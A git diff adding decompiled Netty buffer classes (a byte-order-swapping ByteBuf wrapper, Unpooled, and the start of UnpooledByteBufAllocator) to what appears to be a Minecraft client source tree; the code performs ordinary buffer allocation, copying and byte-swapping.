+  public ByteBuf clear()
+  {
+    buf.clear();
+    return this;
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    buf.markReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    buf.resetReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    buf.markWriterIndex();
+    return this;
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    buf.resetWriterIndex();
+    return this;
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    buf.discardReadBytes();
+    return this;
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    buf.discardSomeReadBytes();
+    return this;
+  }
+  
+  public ByteBuf ensureWritable(int writableBytes)
+  {
+    buf.ensureWritable(writableBytes);
+    return this;
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    return buf.ensureWritable(minWritableBytes, force);
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    return buf.getBoolean(index);
+  }
+  
+  public byte getByte(int index)
+  {
+    return buf.getByte(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    return buf.getUnsignedByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    return ByteBufUtil.swapShort(buf.getShort(index));
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    return getShort(index) & 0xFFFF;
+  }
+  
+  public int getMedium(int index)
+  {
+    return ByteBufUtil.swapMedium(buf.getMedium(index));
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    return getMedium(index) & 0xFFFFFF;
+  }
+  
+  public int getInt(int index)
+  {
+    return ByteBufUtil.swapInt(buf.getInt(index));
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    return getInt(index) & 0xFFFFFFFF;
+  }
+  
+  public long getLong(int index)
+  {
+    return ByteBufUtil.swapLong(buf.getLong(index));
+  }
+  
+  public char getChar(int index)
+  {
+    return (char)getShort(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    return Float.intBitsToFloat(getInt(index));
+  }
+  
+  public double getDouble(int index)
+  {
+    return Double.longBitsToDouble(getLong(index));
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    buf.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    buf.getBytes(index, dst, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    buf.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    buf.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    buf.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    buf.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    buf.getBytes(index, out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return buf.getBytes(index, out, length);
+  }
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    buf.setBoolean(index, value);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    buf.setByte(index, value);
+    return this;
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    buf.setShort(index, ByteBufUtil.swapShort((short)value));
+    return this;
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    buf.setMedium(index, ByteBufUtil.swapMedium(value));
+    return this;
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    buf.setInt(index, ByteBufUtil.swapInt(value));
+    return this;
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    buf.setLong(index, ByteBufUtil.swapLong(value));
+    return this;
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    setShort(index, value);
+    return this;
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    setInt(index, Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    setLong(index, Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    buf.setBytes(index, src);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    buf.setBytes(index, src, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    buf.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    buf.setBytes(index, src);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    buf.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    buf.setBytes(index, src);
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    return buf.setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    return buf.setBytes(index, in, length);
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    buf.setZero(index, length);
+    return this;
+  }
+  
+  public boolean readBoolean()
+  {
+    return buf.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    return buf.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    return buf.readUnsignedByte();
+  }
+  
+  public short readShort()
+  {
+    return ByteBufUtil.swapShort(buf.readShort());
+  }
+  
+  public int readUnsignedShort()
+  {
+    return readShort() & 0xFFFF;
+  }
+  
+  public int readMedium()
+  {
+    return ByteBufUtil.swapMedium(buf.readMedium());
+  }
+  
+  public int readUnsignedMedium()
+  {
+    return readMedium() & 0xFFFFFF;
+  }
+  
+  public int readInt()
+  {
+    return ByteBufUtil.swapInt(buf.readInt());
+  }
+  
+  public long readUnsignedInt()
+  {
+    return readInt() & 0xFFFFFFFF;
+  }
+  
+  public long readLong()
+  {
+    return ByteBufUtil.swapLong(buf.readLong());
+  }
+  
+  public char readChar()
+  {
+    return (char)readShort();
+  }
+  
+  public float readFloat()
+  {
+    return Float.intBitsToFloat(readInt());
+  }
+  
+  public double readDouble()
+  {
+    return Double.longBitsToDouble(readLong());
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    return buf.readBytes(length).order(order());
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return buf.readSlice(length).order(order);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    buf.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    buf.readBytes(dst, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    buf.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    buf.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    buf.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    buf.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    buf.readBytes(out, length);
+    return this;
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    return buf.readBytes(out, length);
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    buf.skipBytes(length);
+    return this;
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    buf.writeBoolean(value);
+    return this;
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    buf.writeByte(value);
+    return this;
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    buf.writeShort(ByteBufUtil.swapShort((short)value));
+    return this;
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    buf.writeMedium(ByteBufUtil.swapMedium(value));
+    return this;
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    buf.writeInt(ByteBufUtil.swapInt(value));
+    return this;
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    buf.writeLong(ByteBufUtil.swapLong(value));
+    return this;
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    writeShort(value);
+    return this;
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    writeInt(Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    writeLong(Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    buf.writeBytes(src);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    buf.writeBytes(src, length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    buf.writeBytes(src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    buf.writeBytes(src);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    buf.writeBytes(src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    buf.writeBytes(src);
+    return this;
+  }
+  
+  public int writeBytes(InputStream in, int length) throws IOException
+  {
+    return buf.writeBytes(in, length);
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length) throws IOException
+  {
+    return buf.writeBytes(in, length);
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    buf.writeZero(length);
+    return this;
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    return buf.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    return buf.bytesBefore(value);
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    return buf.bytesBefore(length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    return buf.bytesBefore(index, length, value);
+  }
+  
+  public int forEachByte(ByteBufProcessor processor)
+  {
+    return buf.forEachByte(processor);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    return buf.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(ByteBufProcessor processor)
+  {
+    return buf.forEachByteDesc(processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    return buf.forEachByteDesc(index, length, processor);
+  }
+  
+  public ByteBuf copy()
+  {
+    return buf.copy().order(order);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return buf.copy(index, length).order(order);
+  }
+  
+  public ByteBuf slice()
+  {
+    return buf.slice().order(order);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return buf.slice(index, length).order(order);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return buf.duplicate().order(order);
+  }
+  
+  public int nioBufferCount()
+  {
+    return buf.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    return buf.nioBuffer().order(order);
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return buf.nioBuffer(index, length).order(order);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    ByteBuffer[] nioBuffers = buf.nioBuffers();
+    for (int i = 0; i < nioBuffers.length; i++) {
+      nioBuffers[i] = nioBuffers[i].order(order);
+    }
+    return nioBuffers;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    ByteBuffer[] nioBuffers = buf.nioBuffers(index, length);
+    for (int i = 0; i < nioBuffers.length; i++) {
+      nioBuffers[i] = nioBuffers[i].order(order);
+    }
+    return nioBuffers;
+  }
+  
+  public boolean hasArray()
+  {
+    return buf.hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return buf.array();
+  }
+  
+  public int arrayOffset()
+  {
+    return buf.arrayOffset();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return buf.hasMemoryAddress();
+  }
+  
+  public long memoryAddress()
+  {
+    return buf.memoryAddress();
+  }
+  
+  public String toString(Charset charset)
+  {
+    return buf.toString(charset);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    return buf.toString(index, length, charset);
+  }
+  
+  public int refCnt()
+  {
+    return buf.refCnt();
+  }
+  
+  public ByteBuf retain()
+  {
+    buf.retain();
+    return this;
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    buf.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return buf.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return buf.release(decrement);
+  }
+  
+  public int hashCode()
+  {
+    return buf.hashCode();
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if ((obj instanceof ByteBuf)) {
+      return ByteBufUtil.equals(this, (ByteBuf)obj);
+    }
+    return false;
+  }
+  
+  public int compareTo(ByteBuf buffer)
+  {
+    return ByteBufUtil.compare(this, buffer);
+  }
+  
+  public String toString()
+  {
+    return "Swapped(" + buf.toString() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/Unpooled.java b/src/minecraft/io/netty/buffer/Unpooled.java
new file mode 100644
index 0000000..449e632
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/Unpooled.java
@@ -0,0 +1,859 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Unpooled
+{
+  private static final ByteBufAllocator ALLOC = UnpooledByteBufAllocator.DEFAULT;
+  
+
+
+
+  public static final ByteOrder BIG_ENDIAN = ByteOrder.BIG_ENDIAN;
+  
+
+
+
+  public static final ByteOrder LITTLE_ENDIAN = ByteOrder.LITTLE_ENDIAN;
+  
+
+
+
+  public static final ByteBuf EMPTY_BUFFER = ALLOC.buffer(0, 0);
+  
+
+
+
+  public static ByteBuf buffer()
+  {
+    return ALLOC.heapBuffer();
+  }
+  
+
+
+
+  public static ByteBuf directBuffer()
+  {
+    return ALLOC.directBuffer();
+  }
+  
+
+
+
+
+  public static ByteBuf buffer(int initialCapacity)
+  {
+    return ALLOC.heapBuffer(initialCapacity);
+  }
+  
+
+
+
+
+  public static ByteBuf directBuffer(int initialCapacity)
+  {
+    return ALLOC.directBuffer(initialCapacity);
+  }
+  
+
+
+
+
+
+  public static ByteBuf buffer(int initialCapacity, int maxCapacity)
+  {
+    return ALLOC.heapBuffer(initialCapacity, maxCapacity);
+  }
+  
+
+
+
+
+
+  public static ByteBuf directBuffer(int initialCapacity, int maxCapacity)
+  {
+    return ALLOC.directBuffer(initialCapacity, maxCapacity);
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(byte[] array)
+  {
+    if (array.length == 0) {
+      return EMPTY_BUFFER;
+    }
+    return new UnpooledHeapByteBuf(ALLOC, array, array.length);
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(byte[] array, int offset, int length)
+  {
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    
+    if ((offset == 0) && (length == array.length)) {
+      return wrappedBuffer(array);
+    }
+    
+    return wrappedBuffer(array).slice(offset, length);
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(ByteBuffer buffer)
+  {
+    if (!buffer.hasRemaining()) {
+      return EMPTY_BUFFER;
+    }
+    if (buffer.hasArray()) {
+      return wrappedBuffer(buffer.array(), buffer.arrayOffset() + buffer.position(), buffer.remaining()).order(buffer.order());
+    }
+    
+
+    if (PlatformDependent.hasUnsafe()) {
+      if (buffer.isReadOnly()) {
+        if (buffer.isDirect()) {
+          return new ReadOnlyUnsafeDirectByteBuf(ALLOC, buffer);
+        }
+        return new ReadOnlyByteBufferBuf(ALLOC, buffer);
+      }
+      
+      return new UnpooledUnsafeDirectByteBuf(ALLOC, buffer, buffer.remaining());
+    }
+    
+    if (buffer.isReadOnly()) {
+      return new ReadOnlyByteBufferBuf(ALLOC, buffer);
+    }
+    return new UnpooledDirectByteBuf(ALLOC, buffer, buffer.remaining());
+  }
+  
+
+
+
+
+
+
+  public static ByteBuf wrappedBuffer(ByteBuf buffer)
+  {
+    if (buffer.isReadable()) {
+      return buffer.slice();
+    }
+    return EMPTY_BUFFER;
+  }
+  
+
+
+
+
+
+  public static ByteBuf wrappedBuffer(byte[]... arrays)
+  {
+    return wrappedBuffer(16, arrays);
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(ByteBuf... buffers)
+  {
+    return wrappedBuffer(16, buffers);
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(ByteBuffer... buffers)
+  {
+    return wrappedBuffer(16, buffers);
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(int maxNumComponents, byte[]... arrays)
+  {
+    switch (arrays.length) {
+    case 0: 
+      break;
+    case 1: 
+      if (arrays[0].length != 0) {
+        return wrappedBuffer(arrays[0]);
+      }
+      
+      break;
+    default: 
+      List<ByteBuf> components = new ArrayList(arrays.length);
+      for (byte[] a : arrays) {
+        if (a == null) {
+          break;
+        }
+        if (a.length > 0) {
+          components.add(wrappedBuffer(a));
+        }
+      }
+      
+      if (!components.isEmpty()) {
+        return new CompositeByteBuf(ALLOC, false, maxNumComponents, components);
+      }
+      break;
+    }
+    return EMPTY_BUFFER;
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(int maxNumComponents, ByteBuf... buffers)
+  {
+    switch (buffers.length) {
+    case 0: 
+      break;
+    case 1: 
+      if (buffers[0].isReadable()) {
+        return wrappedBuffer(buffers[0].order(BIG_ENDIAN));
+      }
+      break;
+    default: 
+      for (ByteBuf b : buffers) {
+        if (b.isReadable()) {
+          return new CompositeByteBuf(ALLOC, false, maxNumComponents, buffers);
+        }
+      }
+    }
+    return EMPTY_BUFFER;
+  }
+  
+
+
+
+
+  public static ByteBuf wrappedBuffer(int maxNumComponents, ByteBuffer... buffers)
+  {
+    switch (buffers.length) {
+    case 0: 
+      break;
+    case 1: 
+      if (buffers[0].hasRemaining()) {
+        return wrappedBuffer(buffers[0].order(BIG_ENDIAN));
+      }
+      
+      break;
+    default: 
+      List<ByteBuf> components = new ArrayList(buffers.length);
+      for (ByteBuffer b : buffers) {
+        if (b == null) {
+          break;
+        }
+        if (b.remaining() > 0) {
+          components.add(wrappedBuffer(b.order(BIG_ENDIAN)));
+        }
+      }
+      
+      if (!components.isEmpty()) {
+        return new CompositeByteBuf(ALLOC, false, maxNumComponents, components);
+      }
+      break;
+    }
+    return EMPTY_BUFFER;
+  }
+  
+
+
+  public static CompositeByteBuf compositeBuffer()
+  {
+    return compositeBuffer(16);
+  }
+  
+
+
+  public static CompositeByteBuf compositeBuffer(int maxNumComponents)
+  {
+    return new CompositeByteBuf(ALLOC, false, maxNumComponents);
+  }
+  
+
+
+
+
+  public static ByteBuf copiedBuffer(byte[] array)
+  {
+    if (array.length == 0) {
+      return EMPTY_BUFFER;
+    }
+    return wrappedBuffer((byte[])array.clone());
+  }
+  
+
+
+
+
+
+  public static ByteBuf copiedBuffer(byte[] array, int offset, int length)
+  {
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    byte[] copy = new byte[length];
+    System.arraycopy(array, offset, copy, 0, length);
+    return wrappedBuffer(copy);
+  }
+  
+
+
+
+
+
+  public static ByteBuf copiedBuffer(ByteBuffer buffer)
+  {
+    int length = buffer.remaining();
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    byte[] copy = new byte[length];
+    int position = buffer.position();
+    try {
+      buffer.get(copy);
+    } finally {
+      buffer.position(position);
+    }
+    return wrappedBuffer(copy).order(buffer.order());
+  }
+  
+
+
+
+
+
+  public static ByteBuf copiedBuffer(ByteBuf buffer)
+  {
+    int readable = buffer.readableBytes();
+    if (readable > 0) {
+      ByteBuf copy = buffer(readable);
+      copy.writeBytes(buffer, buffer.readerIndex(), readable);
+      return copy;
+    }
+    return EMPTY_BUFFER;
+  }
+  
+
+
+
+
+
+
+  public static ByteBuf copiedBuffer(byte[]... arrays)
+  {
+    switch (arrays.length) {
+    case 0: 
+      return EMPTY_BUFFER;
+    case 1: 
+      if (arrays[0].length == 0) {
+        return EMPTY_BUFFER;
+      }
+      return copiedBuffer(arrays[0]);
+    }
+    
+    
+
+    int length = 0;
+    for (byte[] a : arrays) {
+      if (Integer.MAX_VALUE - length < a.length) {
+        throw new IllegalArgumentException("The total length of the specified arrays is too big.");
+      }
+      
+      length += a.length;
+    }
+    
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    
+    byte[] mergedArray = new byte[length];
+    int i = 0; for (int j = 0; i < arrays.length; i++) {
+      byte[] a = arrays[i];
+      System.arraycopy(a, 0, mergedArray, j, a.length);
+      j += a.length;
+    }
+    
+    return wrappedBuffer(mergedArray);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static ByteBuf copiedBuffer(ByteBuf... buffers)
+  {
+    switch (buffers.length) {
+    case 0: 
+      return EMPTY_BUFFER;
+    case 1: 
+      return copiedBuffer(buffers[0]);
+    }
+    
+    
+    ByteOrder order = null;
+    int length = 0;
+    for (ByteBuf b : buffers) {
+      int bLen = b.readableBytes();
+      if (bLen > 0)
+      {
+
+        if (Integer.MAX_VALUE - length < bLen) {
+          throw new IllegalArgumentException("The total length of the specified buffers is too big.");
+        }
+        
+        length += bLen;
+        if (order != null) {
+          if (!order.equals(b.order())) {
+            throw new IllegalArgumentException("inconsistent byte order");
+          }
+        } else {
+          order = b.order();
+        }
+      }
+    }
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    
+    byte[] mergedArray = new byte[length];
+    int i = 0; for (int j = 0; i < buffers.length; i++) {
+      ByteBuf b = buffers[i];
+      int bLen = b.readableBytes();
+      b.getBytes(b.readerIndex(), mergedArray, j, bLen);
+      j += bLen;
+    }
+    
+    return wrappedBuffer(mergedArray).order(order);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static ByteBuf copiedBuffer(ByteBuffer... buffers)
+  {
+    switch (buffers.length) {
+    case 0: 
+      return EMPTY_BUFFER;
+    case 1: 
+      return copiedBuffer(buffers[0]);
+    }
+    
+    
+    ByteOrder order = null;
+    int length = 0;
+    for (ByteBuffer b : buffers) {
+      int bLen = b.remaining();
+      if (bLen > 0)
+      {
+
+        if (Integer.MAX_VALUE - length < bLen) {
+          throw new IllegalArgumentException("The total length of the specified buffers is too big.");
+        }
+        
+        length += bLen;
+        if (order != null) {
+          if (!order.equals(b.order())) {
+            throw new IllegalArgumentException("inconsistent byte order");
+          }
+        } else {
+          order = b.order();
+        }
+      }
+    }
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    
+    byte[] mergedArray = new byte[length];
+    int i = 0; for (int j = 0; i < buffers.length; i++) {
+      ByteBuffer b = buffers[i];
+      int bLen = b.remaining();
+      int oldPos = b.position();
+      b.get(mergedArray, j, bLen);
+      b.position(oldPos);
+      j += bLen;
+    }
+    
+    return wrappedBuffer(mergedArray).order(order);
+  }
+  
+
+
+
+
+
+  public static ByteBuf copiedBuffer(CharSequence string, Charset charset)
+  {
+    if (string == null) {
+      throw new NullPointerException("string");
+    }
+    
+    if ((string instanceof CharBuffer)) {
+      return copiedBuffer((CharBuffer)string, charset);
+    }
+    
+    return copiedBuffer(CharBuffer.wrap(string), charset);
+  }
+  
+
+
+
+
+
+
+  public static ByteBuf copiedBuffer(CharSequence string, int offset, int length, Charset charset)
+  {
+    if (string == null) {
+      throw new NullPointerException("string");
+    }
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    
+    if ((string instanceof CharBuffer)) {
+      CharBuffer buf = (CharBuffer)string;
+      if (buf.hasArray()) {
+        return copiedBuffer(buf.array(), buf.arrayOffset() + buf.position() + offset, length, charset);
+      }
+      
+
+
+
+      buf = buf.slice();
+      buf.limit(length);
+      buf.position(offset);
+      return copiedBuffer(buf, charset);
+    }
+    
+    return copiedBuffer(CharBuffer.wrap(string, offset, offset + length), charset);
+  }
+  
+
+
+
+
+
+  public static ByteBuf copiedBuffer(char[] array, Charset charset)
+  {
+    if (array == null) {
+      throw new NullPointerException("array");
+    }
+    return copiedBuffer(array, 0, array.length, charset);
+  }
+  
+
+
+
+
+
+  public static ByteBuf copiedBuffer(char[] array, int offset, int length, Charset charset)
+  {
+    if (array == null) {
+      throw new NullPointerException("array");
+    }
+    if (length == 0) {
+      return EMPTY_BUFFER;
+    }
+    return copiedBuffer(CharBuffer.wrap(array, offset, length), charset);
+  }
+  
+  private static ByteBuf copiedBuffer(CharBuffer buffer, Charset charset) {
+    return ByteBufUtil.encodeString0(ALLOC, true, buffer, charset);
+  }
+  
+
+
+
+
+
+  public static ByteBuf unmodifiableBuffer(ByteBuf buffer)
+  {
+    ByteOrder endianness = buffer.order();
+    if (endianness == BIG_ENDIAN) {
+      return new ReadOnlyByteBuf(buffer);
+    }
+    
+    return new ReadOnlyByteBuf(buffer.order(BIG_ENDIAN)).order(LITTLE_ENDIAN);
+  }
+  
+
+
+  public static ByteBuf copyInt(int value)
+  {
+    ByteBuf buf = buffer(4);
+    buf.writeInt(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyInt(int... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 4);
+    for (int v : values) {
+      buffer.writeInt(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyShort(int value)
+  {
+    ByteBuf buf = buffer(2);
+    buf.writeShort(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyShort(short... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 2);
+    for (int v : values) {
+      buffer.writeShort(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyShort(int... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 2);
+    for (int v : values) {
+      buffer.writeShort(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyMedium(int value)
+  {
+    ByteBuf buf = buffer(3);
+    buf.writeMedium(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyMedium(int... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 3);
+    for (int v : values) {
+      buffer.writeMedium(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyLong(long value)
+  {
+    ByteBuf buf = buffer(8);
+    buf.writeLong(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyLong(long... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 8);
+    for (long v : values) {
+      buffer.writeLong(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyBoolean(boolean value)
+  {
+    ByteBuf buf = buffer(1);
+    buf.writeBoolean(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyBoolean(boolean... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length);
+    for (boolean v : values) {
+      buffer.writeBoolean(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyFloat(float value)
+  {
+    ByteBuf buf = buffer(4);
+    buf.writeFloat(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyFloat(float... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 4);
+    for (float v : values) {
+      buffer.writeFloat(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf copyDouble(double value)
+  {
+    ByteBuf buf = buffer(8);
+    buf.writeDouble(value);
+    return buf;
+  }
+  
+
+
+  public static ByteBuf copyDouble(double... values)
+  {
+    if ((values == null) || (values.length == 0)) {
+      return EMPTY_BUFFER;
+    }
+    ByteBuf buffer = buffer(values.length * 8);
+    for (double v : values) {
+      buffer.writeDouble(v);
+    }
+    return buffer;
+  }
+  
+
+
+  public static ByteBuf unreleasableBuffer(ByteBuf buf)
+  {
+    return new UnreleasableByteBuf(buf);
+  }
+  
+  private Unpooled() {}
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledByteBufAllocator.java b/src/minecraft/io/netty/buffer/UnpooledByteBufAllocator.java
new file mode 100644
index 0000000..694ee3f
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledByteBufAllocator.java
@@ -0,0 +1,62 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnpooledByteBufAllocator
+  extends AbstractByteBufAllocator
+{
+  public static final UnpooledByteBufAllocator DEFAULT = new UnpooledByteBufAllocator(PlatformDependent.directBufferPreferred());
+  
+
+
+
+
+
+
+  public UnpooledByteBufAllocator(boolean preferDirect)
+  {
+    super(preferDirect);
+  }
+  
